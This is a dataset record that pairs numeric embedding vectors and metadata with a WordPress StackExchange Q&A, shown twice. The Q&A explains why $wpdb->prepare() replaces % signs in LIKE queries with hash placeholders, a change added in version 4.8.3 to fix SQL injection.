-0.019561767578125, 0.01505279541015625, -0.03179931640625, -0.048736572265625, -0.04827880859375, 0.052734375, -0.0003998279571533203, 0.019012451171875, 0.03125, 0.0109100341796875, -0.01232147216796875, 0.05267333984375, -0.022247314453125, -0.06427001953125, 0.037445068359375, -0.066650390625, 0.0089569091796875, -0.06024169921875, -0.012298583984375, -0.0328369140625, 0.0865478515625, -0.023040771484375, -0.04034423828125, -0.0204010009765625, 0.01442718505859375, 0.04473876953125, -0.03662109375, 0.060546875, -0.054168701171875, -0.033843994140625, -0.0156707763671875, -0.0090789794921875, -0.0204010009765625, 0.008880615234375, -0.03021240234375, 0.01169586181640625, -0.03900146484375, 0.00832366943359375, -0.02154541015625, -0.0465087890625, 0.08984375, -0.0648193359375, 0.04327392578125, -0.0223846435546875, -0.026214599609375, -0.0811767578125, -0.0154876708984375, 0.016448974609375, 0.04510498046875, -0.01241302490234375, -0.01470184326171875, -0.01020050048828125, 0.05755615234375, 0.0281829833984375, -0.015716552734375, 0.0259857177734375, -0.003810882568359375, -0.0298309326171875, 0.0275726318359375, 0.0235443115234375, -0.03314208984375, 0.0028972625732421875, -0.00865936279296875, -0.0175933837890625, 0.034576416015625, -0.00849151611328125, 0.03985595703125, 0.0193328857421875, -0.0186767578125, -0.06488037109375, -0.06402587890625, -0.021240234375, -0.013885498046875, 0.01178741455078125, -0.0296630859375, -0.038330078125, -0.039154052734375, -0.033172607421875, -0.0292205810546875, -0.050689697265625, 0.038543701171875, 0.0330810546875, 0.032135009765625, 0.0115814208984375, -0.05792236328125, 0.0113525390625, 0.068603515625, 0.01322174072265625, -0.0303497314453125, 0.00966644287109375, -0.0516357421875, 0.027099609375, 0.04461669921875, 0.025177001953125, -0.004726409912109375, 0.04693603515625, 0.0106658935546875, -0.0015573501586914062, 0.005687713623046875, 0.0210113525390625, -0.0236053466796875, -0.0175933837890625, 0.006114959716796875, -0.00959014892578125, 0.032562255859375, 0.01983642578125, -0.022216796875, 0.03326416015625, 0.0240020751953125, -0.0110321044921875, -0.01361083984375, 0.024200439453125, 0.034332275390625, 0.054962158203125, -0.01221466064453125, 0.0131988525390625, 0.0016164779663085938, -0.0256500244140625, -0.021636962890625, -0.0350341796875, 0.01380157470703125, -0.0010614395141601562, -0.016571044921875, -0.01406097412109375, -0.01212310791015625, -0.009033203125, 0.0423583984375, 0.043182373046875, -0.0231475830078125, 0.007648468017578125, 0.015594482421875, -0.0079345703125, -0.031585693359375, 0.039642333984375, -0.0031890869140625, -0.0142059326171875, 0.033294677734375, 0.031005859375, 0.043365478515625, 0.0041961669921875, 0.014373779296875, -0.0101776123046875, 0.0128173828125, -0.0167999267578125, 0.02410888671875, 0.051116943359375, 0.0015783309936523438, 0.02978515625, -0.015838623046875, 0.04376220703125, 0.085693359375, -0.02099609375, 0.018310546875, 0.041717529296875, -0.0477294921875, -0.0216522216796875, 0.007732391357421875, -0.03424072265625, -0.0225830078125, 0.01302337646484375, 0.021087646484375, -0.01174163818359375, 0.0020008087158203125, 0.0218505859375, 0.032806396484375, -0.00800323486328125, -0.0052947998046875, 0.03033447265625, -0.0031414031982421875, -0.0028476715087890625, -0.0218353271484375, -0.01806640625, 0.0240631103515625, 0.01045989990234375, 0.032470703125, 0.004261016845703125, 0.03509521484375, 0.0219879150390625, 0.031341552734375, -0.03228759765625, -0.033111572265625, 0.031646728515625, -0.01226043701171875, -0.039154052734375, 0.00684356689453125, -0.00943756103515625, -0.0176544189453125, 0.005214691162109375, 0.047149658203125, -0.03802490234375, 0.020355224609375, 0.0010728836059570312, -0.0032024383544921875, 0.0287933349609375, 0.0214385986328125, 0.006404876708984375, 0.00814056396484375, 0.034393310546875, -0.026580810546875, -0.059844970703125, -0.04595947265625, -0.052947998046875, -0.0489501953125, 0.0003323554992675781, 0.0290985107421875, -0.008087158203125, 0.0096588134765625, -0.04315185546875, -0.053375244140625, -0.028564453125, 0.0301055908203125, 0.049468994140625, 0.0308685302734375, 0.0255584716796875, 0.024078369140625, -0.019866943359375, 0.03900146484375, 0.0267333984375, -0.010162353515625, -0.050384521484375, -0.0268707275390625, -0.01251220703125, -0.057037353515625, -0.01329803466796875, -0.01416015625, 0.0235443115234375, 0.061492919921875, 0.02374267578125, 0.007354736328125, -0.001949310302734375, -0.0106353759765625, 0.0008440017700195312, -0.0206756591796875, 0.00989532470703125, -0.006687164306640625, -0.02862548828125, 0.007198333740234375, -0.0098114013671875, 0.058380126953125, -0.01132965087890625, 0.0229339599609375, -0.009063720703125, -0.031341552734375, 0.0253753662109375, 0.018707275390625, -0.04034423828125, 0.033782958984375, 0.034149169921875, 0.0085906982421875, 0.043670654296875, 0.02569580078125, 0.043212890625, 0.030670166015625, 0.05462646484375, -0.0217437744140625, -0.03289794921875, 0.0594482421875, 0.0248870849609375, -0.016876220703125, 0.03594970703125, -0.021575927734375, 0.0237274169921875, 0.037506103515625, 0.054656982421875, -0.06353759765625, 0.008270263671875, -0.0018873214721679688, -0.0229644775390625, 0.054595947265625, 0.0038394927978515625, -0.0205535888671875, -0.01611328125, -0.005523681640625, -0.019561767578125, -0.029510498046875, -0.006893157958984375, 0.0125885009765625, 0.01373291015625, 0.00632476806640625, 0.03936767578125, -0.00047707557678222656, -0.07171630859375, -0.02752685546875, 0.0250701904296875, -0.016265869140625, 0.0160675048828125, 0.0404052734375, 0.0070343017578125, -0.0160980224609375, -0.01806640625, 0.03167724609375, -0.021331787109375, -0.0302276611328125, -0.0225067138671875, -0.00010478496551513672, 0.04302978515625, 0.0006866455078125, 0.01117706298828125, -0.055938720703125, -0.031646728515625, 0.058807373046875, 0.032318115234375, -0.02227783203125, -0.001544952392578125, 0.0122833251953125, -0.018798828125, 0.00270843505859375, -0.00905609130859375, -0.00963592529296875, -0.0204620361328125, -0.0004897117614746094, 0.08673095703125, -0.01416015625, -0.0377197265625, 0.02264404296875, 0.0226287841796875, -0.0192413330078125, -0.0111846923828125, 0.0006527900695800781, -0.04583740234375, -0.005275726318359375, -0.016143798828125, -0.0301513671875, 0.0081024169921875, -0.0230255126953125, -0.032562255859375, 0.04925537109375, -0.0178375244140625, -0.0196990966796875, -0.004180908203125, 0.03509521484375, -0.0123291015625, 0.01270294189453125, 0.0203857421875, 0.0164031982421875, 0.052764892578125, -0.0159912109375, -0.0235137939453125, -0.05633544921875, -0.013397216796875, 0.098876953125, 0.019378662109375, 0.00951385498046875, -0.0103607177734375, 0.00904083251953125, 0.059967041015625, 0.04608154296875, 0.00916290283203125, 0.01316070556640625, 0.00677490234375, 0.00946044921875, 0.0460205078125, -0.0061798095703125, 0.0160980224609375, 0.019683837890625, -0.01605224609375, 0.040802001953125, 0.0121002197265625, 0.01261138916015625, -0.001171112060546875, 0.05810546875, -0.01038360595703125, -0.0036449432373046875, 0.0256195068359375, -0.04541015625, -0.0301361083984375, 0.0235137939453125, -0.036712646484375, 0.0022907257080078125, -0.01134490966796875, -0.0220794677734375, 0.0181884765625, -0.01457977294921875, 0.042327880859375, 0.03607177734375, 0.0310821533203125, 0.059234619140625, -0.046539306640625, 0.022003173828125, 0.01100921630859375, -0.04193115234375, 0.0066070556640625, -0.00847625732421875, 0.023101806640625, -0.017059326171875, 0.0110015869140625, -0.0089263916015625, -0.006687164306640625, -0.0252227783203125, -0.033447265625, 0.0029964447021484375, 0.01727294921875, 0.0176544189453125, -0.0019931793212890625, 0.03564453125, -0.035675048828125, -0.01201629638671875, -0.01071929931640625, 0.005352020263671875, 0.01319122314453125, -0.007091522216796875, 0.0016632080078125, 0.03814697265625, -0.0206451416015625, 0.051025390625, -0.028656005859375, 0.02374267578125, -0.006366729736328125, -0.00421142578125, -0.0194091796875, 0.01230621337890625, 0.01025390625, 0.0316162109375, 0.0031070709228515625, -0.0014333724975585938, 0.0263519287109375, -0.0272064208984375, 0.042022705078125, 0.0211334228515625, -0.007610321044921875, 0.0002665519714355469, 0.0008397102355957031, 0.0194244384765625, 0.0102691650390625, 0.043609619140625, 0.034271240234375, -0.00928497314453125, 0.010528564453125, -0.01378631591796875, -0.0164794921875, -0.065185546875, 0.044281005859375, 0.05419921875, 0.01873779296875, 0.0250244140625, -0.058013916015625, 0.09808349609375, -0.0293731689453125, 0.0491943359375, -0.0032501220703125, -0.0156097412109375, 0.023406982421875, -0.0325927734375, 0.04815673828125, 0.0034198760986328125, -0.0667724609375, -0.026153564453125, 0.0208587646484375, -0.0189666748046875, -0.00711822509765625, 0.039154052734375, -0.0068206787109375, 0.0141754150390625, -0.00814056396484375, 0.031646728515625, 0.03631591796875, -0.00830078125, -0.07110595703125, 0.01291656494140625, 0.090576171875, -0.017425537109375, -0.0149688720703125, -0.002033233642578125, 0.049163818359375, -0.0103759765625, -0.01438140869140625, 0.0257415771484375, 0.0016336441040039062, -0.0083770751953125, -0.055419921875, 0.0102691650390625, -0.0194091796875, -0.062042236328125, 0.0538330078125, 0.043182373046875, -0.0088348388671875, -0.008331298828125, 0.003421783447265625, 0.05712890625, -0.007564544677734375, -0.01367950439453125, 0.0509033203125, -0.040069580078125, -0.003963470458984375, -0.0019159317016601562, 0.0211029052734375, -0.021881103515625, -0.047119140625, -0.00182342529296875, 0.00911712646484375, 0.0022525787353515625, 0.046142578125, 0.01496124267578125, 0.050933837890625, 0.018585205078125, 0.0164794921875, 0.0091094970703125, -0.0439453125, 0.0272979736328125, 0.02764892578125, -0.00562286376953125, -0.001583099365234375, 0.0109405517578125, -0.020965576171875, 0.0257415771484375, 0.002422332763671875, 0.0177764892578125, 0.012969970703125, -0.00978851318359375, 0.0264129638671875, 0.01029205322265625, 0.021728515625, -0.0263519287109375, -0.0084228515625, 0.033721923828125, 0.00585174560546875, -0.0163116455078125, -0.020751953125, -0.022491455078125, -0.0222625732421875, 0.013702392578125, 0.0177001953125, 0.0203857421875, 0.00962066650390625, 0.01256561279296875, 0.0171661376953125, 0.032562255859375, -0.004253387451171875, -0.01324462890625, -0.0110321044921875, -0.0141448974609375, 0.07330322265625, -0.006374359130859375, 0.0254364013671875, 0.0017156600952148438, -0.00251007080078125, -0.036956787109375, -0.0170745849609375, -0.01256561279296875, 0.0186920166015625, 0.008209228515625, -0.00821685791015625, 0.01541900634765625, 0.00656890869140625, -0.02935791015625, -0.00983428955078125, -0.0007963180541992188, 0.03692626953125, -0.00157928466796875, -0.02252197265625, 0.0076141357421875, 0.0012989044189453125, -0.00725555419921875, -0.04052734375, 0.015289306640625, -0.0506591796875, 0.0024471282958984375, -0.036895751953125, 0.002197265625, 0.00012004375457763672, -0.040313720703125, -0.0526123046875, 0.0364990234375, -0.010711669921875, -0.0203094482421875, -0.0249176025390625, -0.01509857177734375, 0.00974273681640625, 0.060333251953125, 0.0036907196044921875, -0.01136016845703125, -0.0665283203125, -0.01593017578125, -0.0087432861328125, 0.04571533203125, 0.026580810546875, 0.00949859619140625, -0.024871826171875, -0.010162353515625, -0.01515960693359375, -0.009490966796875, 0.054656982421875, -0.02227783203125, 0.005313873291015625, 0.039520263671875, -0.080322265625, -0.1009521484375, -0.07635498046875, -0.0295257568359375, -0.0092315673828125, -0.08428955078125, -0.0011014938354492188, -0.055816650390625, 0.0242462158203125, -0.01329803466796875, -0.01316070556640625, 0.016143798828125, 0.01959228515625, -0.006992340087890625, -0.004627227783203125, 0.01183319091796875, -0.0206756591796875, 0.00896453857421875, 0.0233306884765625, -0.017059326171875, -0.029052734375, 0.0008935928344726562, -0.0213775634765625, -0.054534912109375, 0.00838470458984375, -0.04364013671875, -0.0110931396484375, -0.029937744140625, 0.0504150390625, 0.06964111328125, -0.043304443359375, 0.01270294189453125, 0.00592041015625, -0.021026611328125, 0.044158935546875, -0.004184722900390625, 0.0030498504638671875, -0.00949859619140625, -0.011199951171875, 0.006542205810546875, 0.0105743408203125, 0.01346588134765625, -0.005664825439453125, -0.0219879150390625, -0.01015472412109375, 0.02789306640625, -0.0007314682006835938, 0.0112457275390625, -0.04852294921875, 0.08673095703125, 0.0023193359375, 0.122802734375, -0.024383544921875, -0.0175323486328125, -0.0281829833984375, 0.036956787109375, 0.00656890869140625, -0.00832366943359375, 0.0733642578125, -0.0283355712890625, 0.003314971923828125, 0.02801513671875, -0.023468017578125, -0.01071929931640625, -0.0245361328125, 0.006488800048828125, 0.006805419921875, -0.0172271728515625 ]
91fdf285a417fb450c77bd9df736088f614531f5
Wordpress Stackexchange Q: WPDB prepare - like % - placeholders? Are these {xxx...} placeholders for % in a LIKE statement normal? If so, when do they get converted back to %'s? SHELL wp> global $wpdb; wp> $q = "%s"; => string(2) "%s" wp> $pq = $wpdb->prepare($q, '%hi%'); => string(136) "'{6e039dc0b074a5ff6828a070d0c24708d132341f32dff55a053f1410beabaacd}hi{6e039dc0b074a5ff6828a070d0c24708d132341f32dff55a053f1410beabaacd}'" A: Yes, they're normal. They were added in 4.8.3 to fix an SQL injection vulnerability. You can read an article describing the technical reasons for this happening here and the ticket for the change here. The placeholder characters are replaced by the random characters on the last line of $wpdb->prepare() with the $wpdb->add_placeholder_escape() function, which calls $wpdb->placeholder_escape() internally. These placeholders are removed in $wpdb->query() by the $wpdb->remove_placeholder_escape() function which is added as a filter to the query hook.
Q: WPDB prepare - like % - placeholders? Are these {xxx...} placeholders for % in a LIKE statement normal? If so, when do they get converted back to %'s? SHELL wp> global $wpdb; wp> $q = "%s"; => string(2) "%s" wp> $pq = $wpdb->prepare($q, '%hi%'); => string(136) "'{6e039dc0b074a5ff6828a070d0c24708d132341f32dff55a053f1410beabaacd}hi{6e039dc0b074a5ff6828a070d0c24708d132341f32dff55a053f1410beabaacd}'" A: Yes, they're normal. They were added in 4.8.3 to fix an SQL injection vulnerability. You can read an article describing the technical reasons for this happening here and the ticket for the change here. The placeholder characters are replaced by the random characters on the last line of $wpdb->prepare() with the $wpdb->add_placeholder_escape() function, which calls $wpdb->placeholder_escape() internally. These placeholders are removed in $wpdb->query() by the $wpdb->remove_placeholder_escape() function which is added as a filter to the query hook.
wordpress
{ "language": "en", "length": 126, "provenance": "stackexchange_00019.jsonl.gz:486299", "question_score": "10", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303935" }
[ 0.051239013671875, -0.006565093994140625, 0.028289794921875, -0.01396942138671875, 0.037109375, -0.01554107666015625, 0.093017578125, -0.00745391845703125, 0.01435089111328125, 0.050567626953125, -0.0149993896484375, -0.004711151123046875, 0.0110321044921875, -0.0208282470703125, -0.02227783203125, -0.01102447509765625, 0.008331298828125, -0.0283966064453125, -0.0284881591796875, -0.01105499267578125, 0.012664794921875, 0.005054473876953125, -0.037078857421875, -0.015655517578125, 0.017578125, -0.067138671875, 0.08966064453125, -0.003864288330078125, 0.027191162109375, -0.0199432373046875, 0.0115203857421875, 0.00589752197265625, 0.025543212890625, 0.048675537109375, -0.04351806640625, 0.05596923828125, 0.0640869140625, 0.0102691650390625, 0.014129638671875, 0.0426025390625, 0.00872039794921875, 0.0032196044921875, -0.012481689453125, -0.0206451416015625, -0.040435791015625, 0.003566741943359375, 0.006256103515625, 0.040435791015625, 0.02496337890625, -0.016510009765625, -0.004718780517578125, 0.02716064453125, -0.00791168212890625, 0.01404571533203125, -0.02001953125, -0.004329681396484375, -0.031402587890625, 0.0007143020629882812, 0.0168609619140625, 0.07733154296875, 0.0168609619140625, 0.0017099380493164062, -0.0198211669921875, -0.070068359375, -0.0091094970703125, -0.0087432861328125, 0.0169525146484375, 0.006622314453125, -0.00786590576171875, -0.01393890380859375, 0.0221099853515625, 0.00901031494140625, -0.01043701171875, -0.007610321044921875, -0.006809234619140625, 0.033538818359375, -0.0038318634033203125, 0.03271484375, 0.0080108642578125, 0.0289306640625, 0.034912109375, -0.035919189453125, -0.00438690185546875, 0.02581787109375, 0.01548004150390625, 0.025970458984375, 0.00795745849609375, -0.0160369873046875, -0.0147552490234375, -0.0290374755859375, -0.01433563232421875, -0.058746337890625, 0.0004868507385253906, 0.0281982421875, -0.0180816650390625, -0.0152587890625, 0.0017948150634765625, 0.00037670135498046875, 0.00669097900390625, 0.0019102096557617188, 0.01189422607421875, -0.0263519287109375, -0.0110626220703125, -0.0086517333984375, 0.010345458984375, 0.0272979736328125, -0.002429962158203125, 0.01995849609375, 0.033599853515625, 0.020904541015625, 0.005771636962890625, 0.00501251220703125, -0.048980712890625, -0.04443359375, -0.036865234375, 0.0992431640625, -0.004543304443359375, -0.0169830322265625, -0.0079193115234375, 0.025634765625, -0.00844573974609375, -0.0020599365234375, -0.007293701171875, -0.04754638671875, 0.0139312744140625, -0.01959228515625, -0.0296478271484375, 0.00817108154296875, -0.04095458984375, 0.055694580078125, -0.035369873046875, -0.0278778076171875, 0.026397705078125, 0.05303955078125, 0.0183258056640625, -0.03497314453125, 0.0391845703125, -0.0203094482421875, -0.0148162841796875, 0.019927978515625, -0.01910400390625, -0.053985595703125, -0.029876708984375, -0.0196533203125, 0.0007100105285644531, -0.01367950439453125, 0.006500244140625, 0.036376953125, 0.02020263671875, 0.0162506103515625, -0.0038700103759765625, -0.0245513916015625, 0.041595458984375, -0.0235595703125, -0.0518798828125, -0.01336669921875, -0.0283355712890625, -0.01024627685546875, -0.042266845703125, -0.0216064453125, -0.0022945404052734375, -0.0251922607421875, -0.0077362060546875, -0.01776123046875, -0.01837158203125, 0.025177001953125, -0.0302276611328125, 0.003063201904296875, 0.01180267333984375, 0.04443359375, -0.01302337646484375, -0.0092620849609375, -0.0027713775634765625, 0.00890350341796875, -0.0017938613891601562, 0.0167694091796875, -0.0005393028259277344, 0.018798828125, 0.0182037353515625, -0.00868988037109375, -0.01898193359375, -0.03631591796875, 0.06719970703125, -0.0220947265625, -0.0743408203125, 0.03253173828125, 0.008544921875, 0.06317138671875, 0.0118560791015625, -0.005039215087890625, 0.066162109375, 0.00024366378784179688, -0.0506591796875, 0.01291656494140625, -0.00211334228515625, -0.00965118408203125, 0.0081024169921875, -0.0011835098266601562, 0.00830841064453125, -0.00382232666015625, 0.0264129638671875, -0.0027141571044921875, 0.0032291412353515625, -0.01439666748046875, -0.08367919921875, 0.0110015869140625, -0.030426025390625, 0.04193115234375, -0.0026035308837890625, 0.045196533203125, 0.0248565673828125, 0.0100555419921875, -0.049163818359375, 0.054412841796875, -0.0230712890625, -0.05712890625, 0.009429931640625, 0.06097412109375, 0.0189361572265625, 0.043365478515625, 0.038665771484375, -0.031341552734375, 0.029541015625, 0.005519866943359375, 0.0282745361328125, -0.03936767578125, 0.007415771484375, -0.0264739990234375, 0.0421142578125, -0.0216522216796875, 0.0185394287109375, 0.025726318359375, 0.06353759765625, 0.049652099609375, -0.040283203125, -0.01690673828125, -0.04150390625, -0.0802001953125, -0.01316070556640625, 0.07080078125, 0.0296173095703125, 0.052581787109375, -0.043548583984375, -0.070556640625, 0.07135009765625, 0.00390625, 0.0125579833984375, -0.051605224609375, 0.0067138671875, 0.04730224609375, -0.0640869140625, -0.010650634765625, 0.01523590087890625, -0.04083251953125, -0.019073486328125, 0.044952392578125, 0.0141754150390625, 0.005512237548828125, -0.0032825469970703125, 0.033935546875, -0.010009765625, -0.01082611083984375, 0.005374908447265625, -0.0005474090576171875, 0.0297088623046875, -0.0278472900390625, 0.0032444000244140625, 0.0022449493408203125, 0.0172576904296875, -0.01227569580078125, 0.00579071044921875, -0.05755615234375, -0.02178955078125, 0.006389617919921875, 0.007640838623046875, 0.0014371871948242188, -0.04632568359375, 0.033111572265625, -0.0220947265625, 0.0037994384765625, 0.002613067626953125, 0.023406982421875, -0.0157928466796875, -0.0154876708984375, -0.00724029541015625, -0.02484130859375, -0.0010023117065429688, -0.006275177001953125, -0.006011962890625, -0.0255584716796875, -0.0217742919921875, 0.055877685546875, -0.01263427734375, 0.06048583984375, 0.0169219970703125, -0.00891876220703125, 0.006061553955078125, -0.031005859375, 0.00991058349609375, -0.03460693359375, 0.0012311935424804688, 0.04498291015625, 0.0080718994140625, -0.0232086181640625, 0.0044403076171875, 0.022216796875, 0.0399169921875, 0.0004055500030517578, 0.01617431640625, -0.020294189453125, -0.00904083251953125, 0.0004515647888183594, 0.0299835205078125, 0.0528564453125, -0.028594970703125, -0.046539306640625, -0.01096343994140625, 0.0160064697265625, -0.059600830078125, -0.05889892578125, 0.03839111328125, 0.039947509765625, -0.0406494140625, 0.0156402587890625, 0.0063018798828125, 0.0145416259765625, -0.013214111328125, -0.0221405029296875, 0.0190887451171875, -0.023345947265625, -0.00553131103515625, -0.051605224609375, -0.049957275390625, -0.05560302734375, 0.0125274658203125, -0.0009946823120117188, -0.0010128021240234375, 0.040618896484375, 0.002025604248046875, 0.0159759521484375, 0.022186279296875, -0.0199127197265625, 0.01435089111328125, -0.000022351741790771484, -0.01201629638671875, -0.027130126953125, 0.04052734375, -0.022857666015625, 0.034454345703125, 0.0252838134765625, 0.0078887939453125, 0.022979736328125, 0.0092926025390625, 0.023101806640625, 0.038665771484375, 0.01531219482421875, -0.0220184326171875, 0.0222015380859375, 0.04052734375, -0.0171356201171875, -0.0283050537109375, 0.0185089111328125, -0.0262603759765625, -0.0022182464599609375, -0.0107879638671875, -0.01995849609375, 0.01522064208984375, 0.024505615234375, 0.04595947265625, 0.034454345703125, -0.0203857421875, -0.0069732666015625, 0.021697998046875, 0.0083465576171875, 0.05242919921875, -0.0195159912109375, -0.0004582405090332031, -0.041290283203125, 0.09051513671875, 0.029266357421875, 0.0278167724609375, 0.04962158203125, -0.03314208984375, 0.0221710205078125, -0.0157470703125, 0.0577392578125, -0.016021728515625, -0.01346588134765625, -0.054107666015625, -0.036102294921875, -0.0340576171875, 0.07489013671875, -0.033935546875, -0.002315521240234375, -0.0103759765625, 0.005401611328125, -0.042755126953125, -0.04901123046875, -0.03826904296875, 0.006526947021484375, -0.092529296875, 0.0096435546875, -0.0068511962890625, -0.0189361572265625, 0.0017566680908203125, 0.0009984970092773438, -0.01311492919921875, -0.050018310546875, 0.038818359375, -0.013336181640625, -0.0091705322265625, -0.0104217529296875, -0.0209503173828125, -0.016021728515625, -0.005596160888671875, -0.012969970703125, -0.0595703125, -0.01419830322265625, -0.00243377685546875, 0.045928955078125, 0.0088348388671875, -0.01910400390625, -0.01238250732421875, 0.0262603759765625, 0.0213165283203125, -0.021026611328125, 0.0120697021484375, -0.0249481201171875, -0.01453399658203125, 0.042816162109375, 0.00365447998046875, -0.01364898681640625, 0.007534027099609375, -0.0021953582763671875, -0.04815673828125, -0.03814697265625, -0.01702880859375, -0.0195159912109375, 0.034820556640625, -0.035491943359375, -0.0010042190551757812, -0.016387939453125, -0.0193328857421875, 0.0214080810546875, -0.0308380126953125, 0.0026187896728515625, -0.026031494140625, -0.0255584716796875, 0.0623779296875, 0.056243896484375, 0.005146026611328125, -0.018218994140625, 0.05560302734375, 0.006694793701171875, -0.06927490234375, 0.002277374267578125, 0.0031642913818359375, 0.0382080078125, 0.00531768798828125, 0.02020263671875, 0.01012420654296875, -0.01953125, 0.0226287841796875, 0.0083160400390625, 0.0128021240234375, -0.0221710205078125, 0.03143310546875, -0.003993988037109375, -0.0114593505859375, 0.020477294921875, 0.004375457763671875, 0.009429931640625, 0.043212890625, -0.016387939453125, 0.0097198486328125, 0.0203857421875, -0.00212860107421875, 0.0011453628540039062, -0.036376953125, -0.028594970703125, -0.03851318359375, 0.0217132568359375, 0.017608642578125, 0.00640869140625, -0.035369873046875, 0.0266571044921875, -0.0151824951171875, 0.0225677490234375, -0.026519775390625, -0.01180267333984375, -0.02093505859375, 0.02593994140625, 0.0302276611328125, -0.03204345703125, -0.006015777587890625, -0.023406982421875, 0.0068359375, 0.0012865066528320312, -0.0043792724609375, -0.0148468017578125, -0.0364990234375, 0.00843048095703125, -0.0006928443908691406, -0.005878448486328125, 0.0077972412109375, -0.0098876953125, 0.0013704299926757812, 0.002124786376953125, 0.005466461181640625, 0.016204833984375, -0.01287841796875, -0.0166778564453125, 0.0413818359375, -0.005619049072265625, -0.003513336181640625, 0.0065155029296875, 0.01229095458984375, -0.0296783447265625, 0.02117919921875, 0.00469970703125, 0.018035888671875, 0.0272979736328125, 0.0073699951171875, -0.005710601806640625, 0.014434814453125, 0.00605010986328125, 0.0043487548828125, 0.032928466796875, -0.0304412841796875, -0.03887939453125, -0.0150299072265625, 0.009674072265625, -0.0104827880859375, 0.0166778564453125, 0.05657958984375, 0.01561737060546875, -0.0292816162109375, 0.02362060546875, 0.02374267578125, -0.04302978515625, -0.01934814453125, -0.03533935546875, -0.036590576171875, -0.0129241943359375, 0.00345611572265625, 0.004596710205078125, -0.02581787109375, 0.0174407958984375, 0.012908935546875, -0.00548553466796875, -0.0224761962890625, -0.0257415771484375, 0.08392333984375, -0.0218658447265625, -0.05474853515625, -0.056884765625, 0.01763916015625, -0.0268707275390625, 0.029571533203125, 0.057952880859375, -0.007720947265625, 0.03814697265625, -0.03680419921875, -0.01336669921875, 0.025665283203125, 0.0025348663330078125, 0.06329345703125, 0.009429931640625, -0.01345062255859375, -0.025726318359375, -0.047760009765625, -0.045166015625, 0.0015697479248046875, 0.005161285400390625, -0.031494140625, -0.00884246826171875, 0.0291748046875, 0.0406494140625, 0.014007568359375, -0.0172576904296875, 0.00025391578674316406, -0.0015354156494140625, 0.01220703125, 0.06427001953125, -0.03021240234375, 0.003925323486328125, 0.0071563720703125, -0.01549530029296875, -0.01502227783203125, 0.01531982421875, 0.059356689453125, -0.034027099609375, 0.01174163818359375, -0.01372528076171875, -0.0246124267578125, -0.03363037109375, -0.00615692138671875, 0.00982666015625, 0.06365966796875, -0.01020050048828125, 0.01776123046875, -0.00830841064453125, -0.0019893646240234375, -0.01218414306640625, 0.0226593017578125, -0.016876220703125, -0.0261077880859375, 0.0618896484375, -0.03216552734375, 0.0029926300048828125, 0.002201080322265625, 0.04364013671875, -0.017242431640625, -0.03680419921875, -0.0237274169921875, 0.0345458984375, -0.032257080078125, 0.0285186767578125, 0.02130126953125, -0.00313568115234375, 0.019134521484375, -0.0214080810546875, 0.0092315673828125, 0.035491943359375, -0.0230712890625, -0.036163330078125, 0.032928466796875, 0.0215301513671875, -0.0231781005859375, -0.00852203369140625, 0.0198822021484375, -0.01204681396484375, 0.053741455078125, 0.058502197265625, 0.09149169921875, -0.054779052734375, -0.0114288330078125, 0.005374908447265625, -0.0758056640625, 0.0345458984375, 0.04376220703125, -0.0162353515625, -0.0114288330078125, -0.01544189453125, -0.0011844635009765625, 0.0184173583984375, 0.024383544921875, 0.033294677734375, -0.005062103271484375, -0.0086822509765625, 0.00884246826171875, 0.0200042724609375, 0.02166748046875, 0.0017938613891601562, -0.0219879150390625, 0.037322998046875, 0.0008420944213867188, -0.01404571533203125, 0.010467529296875, -0.031219482421875, -0.0489501953125, -0.016021728515625, -0.02239990234375, -0.01081085205078125, 0.020965576171875, 0.053802490234375, 0.042877197265625, 0.0511474609375, 0.0194854736328125, -0.007663726806640625, 0.00649261474609375, 0.0304107666015625, 0.007244110107421875, 0.0126190185546875, 0.0090179443359375, 0.0765380859375, -0.04150390625, 0.0310211181640625, -0.0261993408203125, 0.03802490234375, -0.0128631591796875, -0.0270843505859375, 0.06719970703125, -0.0628662109375, 0.015533447265625, 0.01488494873046875, 0.044647216796875, 0.01129150390625, -0.01085662841796875, -0.02252197265625, -0.08282470703125, -0.04815673828125, -0.0310516357421875, -0.047027587890625, 0.029693603515625, -0.01654052734375, -0.07763671875, 0.080810546875, 0.0285186767578125, 0.034393310546875, 0.03912353515625, 0.016204833984375, -0.07489013671875, -0.0283660888671875, -0.031829833984375, 0.055999755859375, -0.0100860595703125, 0.0738525390625, -0.0180816650390625, 0.0155487060546875, 0.04461669921875, 0.006237030029296875, -0.014801025390625, -0.0219268798828125, 0.01471710205078125, -0.031982421875, 0.02569580078125, 0.051177978515625, 0.0154571533203125, -0.02349853515625, -0.016448974609375, 0.0304412841796875, 0.033447265625, -0.04351806640625, 0.01404571533203125, 0.01593017578125, -0.02264404296875, 0.01091766357421875, 0.0118408203125, 0.022186279296875, -0.01303863525390625, 0.0153350830078125, 0.0399169921875, -0.02557373046875, -0.020233154296875, -0.038482666015625, -0.0084228515625, 0.0709228515625, 0.036346435546875, -0.0802001953125, -0.0491943359375, -0.043212890625, 0.04388427734375, -0.0112152099609375, 0.053863525390625, 0.06829833984375, 0.0230712890625, 0.081787109375, -0.0165863037109375, 0.033721923828125, -0.00568389892578125, -0.0020809173583984375, 0.1026611328125, 0.002277374267578125, 0.0254364013671875, -0.057281494140625, 0.041656494140625, 0.017120361328125, 0.0914306640625, -0.0771484375, -0.02642822265625, 0.001079559326171875, 0.00907135009765625, 0.004642486572265625, -0.031036376953125, -0.0098114013671875, -0.0298919677734375, 0.00833892822265625, 0.005611419677734375, -0.006961822509765625, 0.0232391357421875, -0.028045654296875, 0.0133056640625, 0.07855224609375, -0.00713348388671875, -0.0000807046890258789, -0.029876708984375, -0.027435302734375, 0.0160064697265625, 0.049346923828125, 0.01715087890625, 0.0545654296875, 0.0166015625, -0.0162506103515625, -0.0120849609375, 0.0206146240234375, -0.0005354881286621094, 0.0245361328125, -0.025421142578125, 0.0037975311279296875, 0.0201568603515625, 0.0200653076171875, 0.004222869873046875, -0.007236480712890625, 0.03704833984375, 0.0161895751953125, -0.04132080078125, -0.01235198974609375, -0.06378173828125, -0.0362548828125, 0.0062103271484375, -0.004314422607421875, 0.021759033203125, 0.0248260498046875, 0.010406494140625, -0.0294342041015625, 0.03887939453125, 0.0291748046875, 0.009490966796875, 0.041900634765625, -0.00432586669921875, -0.01558685302734375, 0.0173797607421875, -0.0121917724609375, 0.063232421875, 0.037353515625, -0.03985595703125, -0.021728515625, 0.0298919677734375, -0.039306640625, -0.0020847320556640625, 0.032928466796875, -0.0178375244140625, 0.0272979736328125, -0.019134521484375, 0.017425537109375, -0.03582763671875, -0.01412200927734375, 0.01137542724609375, -0.04229736328125, 